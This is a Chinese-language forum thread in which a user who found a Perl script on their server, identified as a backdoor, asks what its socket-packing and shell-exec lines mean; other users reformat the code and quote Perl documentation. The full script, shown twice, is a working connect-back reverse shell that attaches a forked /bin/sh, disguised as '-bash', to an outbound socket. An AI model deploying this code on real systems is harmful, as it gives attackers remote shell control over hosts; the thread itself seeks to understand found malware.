一个后门程序

chlotte

在服务器上发现的，google了一下，是一个后门程序，但有２个地方(if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {  与 exec {'/bin/sh'} '-bash' . "\0" x 4没有看明白是什么意思，请高手指点，谢谢！



#!/usr/bin/perl
use Socket;
print "Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
  printf "Usage: $0 [Host] <ort>\n";
  exit(1);
}
print "[+] Checking arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
  $port = $ARGV[1];
}
print "[+] Trying to connect...\n";
$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n";
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n";
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die("[-] Unable to Connect\n";
}
print "OK!\n";
print "[+] Spawning a Shell for U!\n";
if (!fork( )) {
  open(STDIN,">&SERVER";
  open(STDOUT,">&SERVER";
  open(STDERR,">&SERVER";
  exec {'/bin/sh'} '-bash' . "\0" x 4;
  exit(0);
}
print "[*] Bingo!Got it!\n\n";

chlotte

自已顶

climby

并不是别人不想帮你，只是你发代码的时候，很多地方变成了笑脸符，看起来费劲阿。
帮你按照代码格式发一下，如有不对，请更正!

1. 
   
2. #!/usr/bin/perl
   
3. use Socket;
   
4. print "Connect Back Backdoor\n\n";
   
5. 
   
6. if (!$ARGV[0]) {
   
7. printf "Usage: $0 [Host] &lt;ort>\n";
   
8. exit(1);
   
9. }
   
10. print "[+] Checking arguments\n";
    
11. $host = $ARGV[0];
    
12. $port = 80;
    
13. if ($ARGV[1]) {
    
14. 
    
15. $port = $ARGV[1];
    
16. }
    
17. print "[+] Trying to connect...\n";
    
18. $proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n";
    
19. socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n";
    
20. my $target = inet_aton($host);
    
21. if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
    
22. die("[-] Unable to Connect\n";
    
23. 
    
24. }
    
25. print "OK!\n";
    
26. print "[+] Spawning a Shell for U!\n";
    
27. if (!fork( )) {
    
28. open(STDIN,">&SERVER";
    
29. open(STDOUT,">&SERVER";
    
30. open(STDERR,">&SERVER";
    
31. 
    
32. exec {'/bin/sh'} '-bash' . "\0" x 4;
    
33. exit(0);
    
34. }
    
35. print "[*] Bingo!Got it!\n\n";
    
36. 
    

复制代码

toniz

perldoc -f connect
       connect SOCKET,NAME
               Attempts to connect to a remote socket, just as the connect system call does.
               Returns true if it succeeded, false otherwise.  NAME should be a packed address
               of the appropriate type for the socket.  See the examples in "Sockets:
               Client/Server Communication" in perlipc.

chlotte

谢谢二位，俺下次一定注意